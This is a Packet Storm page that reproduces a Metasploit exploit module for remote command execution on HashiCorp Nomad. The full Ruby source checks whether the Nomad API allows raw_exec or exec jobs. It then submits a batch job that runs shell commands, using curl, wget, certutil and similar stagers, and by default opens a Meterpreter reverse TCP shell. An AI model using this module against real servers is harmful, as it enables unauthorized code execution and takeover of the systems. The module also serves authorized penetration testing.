exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

HashiCorp Nomad Remote Command Execution

HashiCorp Nomad Remote Command Execution
Posted Jun 15, 2021
Authored by Wyatt Dahlenburg | Site metasploit.com

This Metasploit module lets you create a batch job on HashiCorp's Nomad service to spawn a shell. The default option is to use the raw_exec driver, which runs with high privileges. Development servers and clients explicitly enabling the raw_exec plugin can spawn these type of jobs. Regular exec jobs can be created in a similar fashion at a lower privilege level.

tags | exploit, shell
SHA-256 | eca23d54183cd0e5af582ee2589f0f2a4c94fe7f480b0f8f8352c5c49fa7edc2

HashiCorp Nomad Remote Command Execution

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
prepend Msf::Exploit::Remote::AutoCheck

def initialize(info = {})
super(
update_info(
info,
'Name' => 'HashiCorp Nomad Remote Command Execution',
'Description' => %q{
Create a batch job on HashiCorp's Nomad service to spawn a shell. The default option
is to use the 'raw_exec' driver, which runs with high privileges. Development servers
and client's explicitly enabling the 'raw_exec' plugin can spawn these type of jobs.
Regular 'exec' jobs can be created in a similar fashion at a lower privilege level.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Wyatt Dahlenburg (@wdahlenb)',
],
'References' =>
[
[ 'URL', 'https://www.nomadproject.io/' ]
],
'Targets' =>
[
[
'Linux',
{
'Platform' => 'linux',
'CmdStagerFlavor' => ['bourne', 'echo', 'printf', 'curl', 'wget'],
'DefaultOptions' => { 'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp', 'WfsDelay' => 10 }
}
],
[
'Windows',
{
'Platform' => 'win',
'CmdStagerFlavor' => [ 'psh_invokewebrequest', 'certutil', 'vbs' ],
'DefaultOptions' => { 'PAYLOAD' => 'windows/meterpreter/reverse_tcp', 'WfsDelay' => 10 }
}
]
],
'Payload' => {},
'Privileged' => false,
'DefaultTarget' => 0,
'DisclosureDate' => '2021-05-17',
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS],
'SideEffects' => [REPEATABLE_SESSION]
}
)
)
register_options(
[
OptString.new('ACL_TOKEN', [false, 'Consul Agent ACL token', '']),
OptString.new('DATACENTER', [true, 'The datacenter to run against', 'dc1']),
OptString.new('JOB_NAME', [true, 'Name of job to run (default random)', '']),
OptString.new('JOB_TYPE', [true, 'Driver (raw_exec or exec)', 'raw_exec']),
Opt::RPORT(4646),
OptString.new('TARGETURI', [true, 'The base path', '/']),
OptBool.new('SSL', [false, 'Negotiate SSL/TLS for outgoing connections', false])
]
)
end

def check
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, '/v1/agent/self'),
'headers' => {
'X-Nomad-Token' => datastore['ACL_TOKEN']
}
})

unless res
vprint_error 'Connection failed'
return CheckCode::Unknown
end

unless res.code == 200
vprint_error 'Unexpected reply'
return CheckCode::Safe
end

agent_info = JSON.parse(res.body)

if agent_info['config']['Plugins']
agent_info['config']['Plugins'].each do |plugin|
if plugin['Name'] == 'raw_exec' && plugin['Config']['enabled'] == true
return CheckCode::Vulnerable
end
end
end

if agent_info['config']['Client']['Options']['driver.raw_exec.enable'] == 'true' || agent_info['config']['Client']['Options']['driver.raw_exec.enable'] == '1'
return CheckCode::Vulnerable
end

if datastore['JOB_TYPE'] == 'raw_exec' && agent_info['config']['Client']['DisableRemoteExec'] == false
print_status 'raw_exec doesn\'t appear to be supported. Try setting JOB_TYPE to exec instead.'
return CheckCode::Appears
elsif datastore['JOB_TYPE'] == 'exec' && agent_info['config']['Client']['DisableRemoteExec'] == false
return CheckCode::Vulnerable
end

CheckCode::Safe
rescue JSON::ParserError
vprint_error 'Failed to parse JSON output.'
return CheckCode::Unknown
end

def execute_command(cmd, _opts = {})
uri = target_uri.path
job_name = datastore['JOB_NAME'] == '' ? Rex::Text.rand_text_alpha(5..10) : datastore['JOB_NAME']
print_status("Creating job '#{job_name}'")

case target.name
when /Linux/
arg1 = 'sh'
arg2 = '-c'
when /Windows/
arg1 = 'cmd.exe'
arg2 = '/c'
end

res = send_request_cgi({
'method' => 'PUT',
'uri' => normalize_uri(uri, 'v1/jobs'),
'headers' => {
'X-Nomad-Token' => datastore['ACL_TOKEN']
},
'ctype' => 'application/json',
'data' => {
Job: {
ID: job_name,
Name: job_name,
Type: 'batch',
Datacenters: [datastore['DATACENTER']],
TaskGroups: [
{
Name: job_name,
Count: 1,
Tasks: [
{
Name: job_name,
Driver: datastore['JOB_TYPE'],
User: '',
Config: {
command: arg1,
args: [
arg2,
cmd.to_s
]
},
Resources: {
CPU: 500,
MemoryMB: 256
},
LogConfig: {
MaxFiles: 1,
MaxFileSizeMB: 1
}
}
],
RestartPolicy: {
Attempts: 0
},
EphemeralDisk: {
SizeMB: 300
}
}
]
}
}.to_json
})
unless res && res.code == 200
fail_with(Failure::UnexpectedReply, 'An error occured when contacting the Nomad API.')
end

job_info = JSON.parse(res.body)
eval_id = job_info['EvalID']

print_status("Job '#{job_name}' successfully created as '#{eval_id}'.")
print_status("Waiting for job '#{job_name}' to trigger")
rescue JSON::ParserError
vprint_error 'Failed to parse JSON output.'
end

def exploit
execute_cmdstager
end
end
Login or Register to add favorites

File Archive:

December 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Dec 1st
    0 Files
  • 2
    Dec 2nd
    41 Files
  • 3
    Dec 3rd
    25 Files
  • 4
    Dec 4th
    0 Files
  • 5
    Dec 5th
    0 Files
  • 6
    Dec 6th
    0 Files
  • 7
    Dec 7th
    0 Files
  • 8
    Dec 8th
    0 Files
  • 9
    Dec 9th
    0 Files
  • 10
    Dec 10th
    0 Files
  • 11
    Dec 11th
    0 Files
  • 12
    Dec 12th
    0 Files
  • 13
    Dec 13th
    0 Files
  • 14
    Dec 14th
    0 Files
  • 15
    Dec 15th
    0 Files
  • 16
    Dec 16th
    0 Files
  • 17
    Dec 17th
    0 Files
  • 18
    Dec 18th
    0 Files
  • 19
    Dec 19th
    0 Files
  • 20
    Dec 20th
    0 Files
  • 21
    Dec 21st
    0 Files
  • 22
    Dec 22nd
    0 Files
  • 23
    Dec 23rd
    0 Files
  • 24
    Dec 24th
    0 Files
  • 25
    Dec 25th
    0 Files
  • 26
    Dec 26th
    0 Files
  • 27
    Dec 27th
    0 Files
  • 28
    Dec 28th
    0 Files
  • 29
    Dec 29th
    0 Files
  • 30
    Dec 30th
    0 Files
  • 31
    Dec 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close